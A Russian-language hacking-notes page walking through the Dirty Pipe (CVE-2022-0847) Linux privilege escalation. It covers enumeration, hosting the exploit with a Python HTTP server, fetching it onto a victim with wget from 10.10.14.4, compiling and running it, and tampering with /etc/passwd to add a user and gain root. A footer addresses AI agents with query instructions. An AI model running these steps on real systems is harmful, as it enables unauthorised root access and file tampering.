> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

## Что это такое

На этой странице описывается техника повышения привилегий в Linux с практическими шагами проверки и примерами эксплуатации. Эта конкретная страница посвящена **Dirty Pipe** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
id
uname -a
```

## Примеры

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) — это ошибка ядра Linux, которая позволяет локальному непривилегированному пользователю изменять системные файлы во время работы, включая защищённые файлы, такие как **/etc/passwd**. Эта уязвимость использует недостаток в обработке pipe в ядре, позволяя процессу изменять файл во время его использования другим процессом, включая файлы только для чтения или файлы, записываемые привилегированными пользователями.
{% endhint %}

## Эксплуатация Dirty Pipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Проверьте, уязвима ли машина к Dirty Pipe — ошибке, которая может изменять системные файлы во время работы. Мы обнаружили **gcc**, компилятор C, доступен в `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

Используйте **Python3** чтобы перенести эксплойт с локальной машины на целевую. Запустите локально HTTP-сервер, чтобы разместить его:

```bash
python3 -m http.server
```

На машине жертвы мы загрузили эксплойт:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/d2443ff39b747e1e579a3678decfc4cd8ee78aba" alt=""><figcaption></figcaption></figure>

После того как эксплойт был получен, мы скомпилировали C-файл с помощью **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
Эксплойт изменяет `/etc/passwd` файл, внедряя хэш пароля, и добавляет `aaron` пользователя с определённым паролем — всё это для повышения привилегий.
{% endhint %}

<figure><img src="/files/cfa0e03da941ea0bce001a6b01f476db032f875d" alt=""><figcaption></figcaption></figure>

Наконец, просто запустите скрипт:

```bash
./exploit
```

Это даёт **`root`** доступ к машине.

<figure><img src="/files/801939f93da953d3dc8947af3e87feaf994d90e8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
